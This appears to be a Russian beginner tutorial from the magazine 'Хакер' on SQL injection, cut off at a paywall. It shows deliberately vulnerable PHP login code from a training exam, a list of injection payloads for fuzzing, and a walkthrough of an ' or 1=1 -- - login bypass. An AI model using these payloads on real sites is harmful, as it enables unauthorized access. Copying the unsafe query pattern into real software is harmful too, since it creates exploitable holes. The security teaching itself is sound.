В этой статье я раз­беру тему SQL-инъ­екций с самого начала — для тех, кто толь­ко осва­ивает­ся в мире инфо­сека. Мы прой­дем­ся по базовым уяз­вимос­тям и пошаго­во раз­берем нес­ложные ата­ки. Потом погово­рим о sqlmap — инс­тру­мен­те для авто­мати­чес­кого пен­теста SQLi. В кон­це пореко­мен­дую ресур­сы для даль­нейше­го изу­чения.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для обу­чения спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

От редакции

Ес­ли ты кру­той пен­тестер и тема, о которой мы сегод­ня будем говорить, для тебя неак­туаль­на уже лет двад­цать, то не вол­нуй­ся. «Хакер» обя­затель­но про­дол­жит радовать тебя хар­дкор­ными матери­ала­ми. Но мы бук­валь­но обя­заны иметь и что‑то для нович­ков. Да и о базовых вещах сто­ит вре­мя от вре­мени писать заново, с уче­том сов­ремен­ных реалий.

 

Что такое SQL?

SQL (Structured Query Language) — это язык прог­рамми­рова­ния, который поч­ти пов­семес­тно исполь­зует­ся для работы с базами дан­ных. В час­тнос­ти, он при­гож­дает­ся при раз­работ­ке сай­тов. Давай пос­мотрим, как выг­лядит типич­ный сце­нарий его при­мене­ния.

Пред­положим, у нас есть интернет‑магазин, тор­гующий спор­тивны­ми товара­ми, и поль­зователь Васёк, жела­ющий купить ган­тели.

  1. Ва­сёк вво­дит в стро­ку поис­ка сло­во «ган­тели» и нажима­ет «Искать».
  2. Ког­да кноп­ка нажата, бра­узер зап­рашива­ет стра­ницу поис­ка и переда­ет на сер­вер стро­ку «ган­тели».
  3. Ра­бота­ющее на сер­вере веб‑при­ложе­ние, что­бы поис­кать в базе дан­ных, фор­миру­ет зап­рос к ней. Для это­го в при­ложе­ние прог­раммис­том заложе­на коман­да на SQL, зада­ющая усло­вия поис­ка. В нее и под­став­ляет­ся получен­ное от поль­зовате­ля сло­во «ган­тели».
  4. По­лучив зап­рос, база дан­ных ищет под­ходящие под усло­вия стро­ки в таб­лице товаров и выда­ет их веб‑при­ложе­нию.
  5. Веб‑при­ложе­ние объ­еди­няет резуль­тат поис­ка с шаб­лоном стра­ницы и выда­ет резуль­тат бра­узе­ру Вась­ка. Васёк видит кра­сивую стра­нич­ку с изоб­ражени­ем ган­телей, ценами и про­чей инфой.

Что же такое база дан­ных? Так час­то называ­ют, во‑пер­вых, саму прог­рамму, работа­ющую на сер­вере (точ­нее, она называ­ется СУБД — сис­тема управле­ния базами дан­ных), а во‑вто­рых, файл или нес­коль­ко фай­лов, в которых в спе­циаль­ном фор­мате хра­нят­ся дан­ные.

Дан­ные записы­вают­ся в виде таб­лиц, а в таб­лицах — стол­бцы и стро­ки, как в докумен­те Excel. Зачас­тую одна СУБД может управлять сра­зу нес­коль­кими базами дан­ных, каж­дая из которых уже содер­жит в себе таб­лицы.

Ре­комен­дую пос­тавить на свой компь­ютер любую СУБД и пос­мотреть на нее поб­лиже самос­тоятель­но. Про­ще все­го будет запус­тить SQLite, а для прос­мотра дан­ных можешь вос­поль­зовать­ся DB Browser. Более серь­езные СУБД вро­де MySQL, PostgreSQL и Microsoft SQL Server устро­ены чуть слож­нее, но смысл совер­шенно тот же. И все они исполь­зуют один язык зап­росов — SQL (хоть и с неболь­шими раз­личи­ями).

Но вер­немся к Вась­ку. Что, если ему нуж­ны вов­се не ган­тели, а, нап­ример, дан­ные дру­гих поль­зовате­лей или воз­можность зай­ти в админку сай­та? Какой зап­рос ему сде­лать тог­да? Давай раз­бирать­ся.

 

Как выглядит запрос к приложению

Ча­ще все­го уяз­вимос­ти типа SQLi воз­ника­ют в поис­ке, ком­мента­риях и панелях адми­нис­три­рова­ния, так что Вась­ку нуж­но вни­матель­нее все­го смот­реть на парамет­ры, которые бра­узер переда­ет на сер­вер при запол­нении раз­ных строк.

Да­вай раз­берем вот такой зап­рос:

http://just_usual_site_with_sqli.com/tovar?id=drel

Это зап­рос типа GET — ког­да переда­ваемые парамет­ры ука­зыва­ются пря­мо в ссыл­ке — пос­ле зна­ка воп­роса. Здесь параметр id — это иден­тифика­тор товара. Имен­но через этот параметр мы чуть поз­же и попыта­емся про­извести инъ­екцию.

Не­ред­ко при­меня­ются и зап­росы типа POST, при которых парамет­ры переда­ются уже не в адресной стро­ке, а в HTTP-заголов­ке. Зап­рос, сде­лан­ный методом POST, будет выг­лядеть при­мер­но так.

Здесь переда­ется нес­коль­ко парамет­ров: postId, comment, name и дру­гие.

 

Проход в админку

Те­перь давай пос­мотрим, как уяз­вимость будет выг­лядеть в коде веб‑при­ложе­ния, которое Васёк пыта­ется взло­мать. Для при­мера возь­мем код из финаль­ного экза­мена HTB Academy SQLi Fundamentals.

Пред­положим, мы наш­ли адрес админки сай­та, но, что­бы зай­ти туда, нам нуж­но ввес­ти имя поль­зовате­ля и пароль. Вот кусок кода на PHP, который по задан­ному име­ни поль­зовате­ля и паролю про­веря­ет, есть ли в базе такая пара:

$servername = "just_simple_server"
$username = "admin"; # Юзернейм
$password = "password123"; # Пароль
$dbname = "simple_database"
# Подключение к базе данных
$conn = new mysqli($servername, $username, $password, $dbname);
# Сюда приходит пользовательский ввод
$user_input_username = $_GET['username'];
$user_input_password = $_GET['password'];
# А здесь создается сам запрос в базу данных
# и подставляется то, что ввел пользователь
$sql = "SELECT * FROM users WHERE username = '$user_input_username' AND password = '$user_input_password'";
$result = $conn->query($sql);
# Проверка результатов: нашлись ли в базе записи с нужными логином и паролем
if ($result->num_rows > 0) {
echo "Успешный вход";
} else {
echo "Неверное имя пользователя или пароль";
}

Нам с тобой осо­бен­но инте­рес­на перемен­ная $sql, имен­но в ней и будет про­исхо­дить вся магия.

На рус­ском этот зап­рос зву­чал бы так: «Выбери все стро­ки из базы дан­ных users, где имя поль­зовате­ля — $user_input_username, а пароль — $user_input_password». При­чем вмес­то наз­ваний перемен­ных в реаль­нос­ти будут под­став­лены зна­чения, вве­ден­ные поль­зовате­лем в фор­му.

Сей­час мы с тобой про­ведем SQL-инъ­екцию. Тут важ­но не заходить сра­зу с козырей. В пер­вую оче­редь нам надо передать кавыч­ку, что­бы она зак­рыла зап­рос и он не прев­ратил­ся в стро­ку, как под­разуме­валось.

Для начала надо опре­делить, какие имен­но кавыч­ки сто­ят в коде: оди­нар­ные или двой­ные (PHP допус­кает оба вари­анта). В нашем слу­чае мы можем пос­мотреть код и отве­тить на этот воп­рос: оди­нар­ные. Но при нас­тоящем пен­тесте кода у нас, ско­рее все­го, не будет, поэто­му опре­делять при­дет­ся самим — методом проб и оши­бок. А точ­нее, методом перебо­ра строк по спис­ку.

Варианты нагрузок

Я под­готовил для тебя неболь­шой спи­сок строк для перебо­ра.

'
"
#
%'#
%'--
%')--
%' or 1=1#
%' or 1=1--
%') or 1=1#
%') or 1=1--
' or 1=1--
' or 1=1#
') or 1=1#
') or 1=1--
%' and 1=1#
%' and 1=1--
%') and 1=1--
%') and 1=1#
' and 1=1#
' and 1=1--
') and 1=1#
') and 1=1--
%' or 2=2#
%'or 33=33--
%') or 55=55#
%') or
ord(5)=ord(5)--
' or 2=2#
' or 33=33--
') or 55=55#
') or ord(5)=ord(5)--
%' and (chr('a')=chr('a'))#
%'and 4=4--
%') and (ASCII('a')=ASCII('a'))#
%') and 'w'='w'--
' and(chr('a')=chr('a'))#
' and 4=4--
') and(ASCII('a')=ASCII('a'))#
')and 'w'='w'--

До­пус­тим, мы опре­дели­ли, что в коде исполь­зуют­ся оди­нар­ные кавыч­ки. Отлично, зна­чит, стро­ку мож­но зак­рыть, отпра­вив в зап­росе оди­нар­ную кавыч­ку! Но само по себе это нам никак не поможет, ведь пос­ле под­ста­нов­ки име­ни поль­зовате­ля получит­ся вот такой код:

$sql = "SELECT * FROM users WHERE username = ''' AND password = '$user_input_password'";

Пос­ле нашей кавыч­ки идет кавыч­ка, которая изна­чаль­но была в коде, в резуль­тате SQL прос­то не пой­мет, что это за наг­ромож­дение кавычек, и выдаст ошиб­ку. Зап­рошен­ная стра­ница, ско­рее все­го, не будет отоб­ражена вов­се.

Нам нуж­но добавить что‑то, кро­ме кавыч­ки, что­бы пос­леду­ющая часть зап­роса прос­то не сра­бота­ла. Про­ще все­го в этом слу­чае исполь­зовать ком­менти­рова­ние. В MySQL ком­мента­рии отби­вают­ся дву­мя чер­точка­ми (--). Все иду­щие даль­ше сим­волы будет счи­тать­ся ком­мента­рием, а не частью коман­ды.

Что­бы учесть все воз­можные слу­чаи, полез­но добав­лять к двум чер­точкам про­бел и еще какой‑нибудь сим­вол (я став­лю еще один про­черк: -- -). Так мы удос­товерим­ся, что ни при каких усло­виях не получит­ся пус­той ком­мента­рий, ведь такое во мно­гих реали­заци­ях SQL недопус­тимо.

info

В раз­ных БД син­таксис ком­менти­рова­ния может раз­личать­ся.

Вот как в ито­ге будет выг­лядеть рабочая наг­рузка в фор­ме вво­да.

А вот она же в коде пос­ле под­ста­нов­ки:

SELECT * FROM users WHERE username = '' -- -' AND password = '$user_input_password'"

Про­вер­ка пароля боль­ше не про­изво­дит­ся — это усло­вие теперь часть ком­мента­рия. Но нам все еще тре­бует­ся имя поль­зовате­ля, а его мы можем и не знать. Нель­зя ли снять и это усло­вие тоже?

Да­вай взгля­нем на код еще раз. Мы видим, что про­вер­ка про­исхо­дит по количес­тву строк в отве­те от базы дан­ных. Если сов­падений нет, воз­вра­щает­ся ноль строк. Зна­чит, нам надо сде­лать так, что­бы этих строк было не ноль. Как нас­чет того, что­бы вывес­ти в ответ сра­зу все стро­ки из БД? Для это­го нуж­но соз­дать усло­вие, которое будет истинно для каж­дой стро­ки. И сде­лать это прос­то — дос­таточ­но добавить or 1=1.

В коде пос­ле под­ста­нов­ки зна­чения это будет выг­лядеть вот так:

SELECT * FROM users WHERE username = '' or 1=1 -- - ' AND password = '$user_input_password'"

На рус­ском наш зап­рос мож­но про­честь так: «Выбери все стро­ки из базы дан­ных users, где имя поль­зовате­ля пус­тое ИЛИ еди­ница, рав­ная еди­нице». А пос­коль­ку еди­ница всег­да рав­на еди­нице, это усло­вие будет соб­людать­ся для каж­дой стро­ки.

Ре­зуль­тат — мы в админке!

 

UNION-based SQLi

Од­нако Вась­ка не инте­ресу­ет содер­жимое админки, цены на ган­тели он может пос­мотреть и на сай­те. Его цель — таб­лица с име­нами поль­зовате­лей и пароля­ми. И они ведь навер­няка хра­нят­ся в той же базе дан­ных!

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    14 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии